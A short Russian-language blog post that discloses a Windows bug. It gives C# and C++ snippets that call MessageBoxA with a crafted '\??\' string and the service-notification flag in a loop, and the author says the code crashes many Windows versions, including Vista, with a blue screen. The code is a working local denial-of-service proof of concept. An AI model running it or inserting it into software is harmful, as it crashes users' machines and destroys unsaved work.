Убийственный MessageBox

Случайно обнаружил на просторах интернета обсуждение, в котором объясняется как в несколько строчек убить Windows.

Итак, для начала код.

Вариант на C#:

class MboxTest
{
  [DllImport("user32.dll")]
  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

  static unsafe void Main()
  {
    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
    fixed(byte* pHelloBug = &helloBug[0])
    {
      for(int i=0; i<10; i++)
        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
    }
  }
}

Вариант на С++:

char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
  ::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
}

Результатом работы данного кода является несколько MessageBox-ов и.... синий экран!

Самое интересное, что данный баг работает на многих версиях Windows, в т.ч. на Vista.

UPDATE: Есть комментарии Microsoft-а относительно данной ситуации.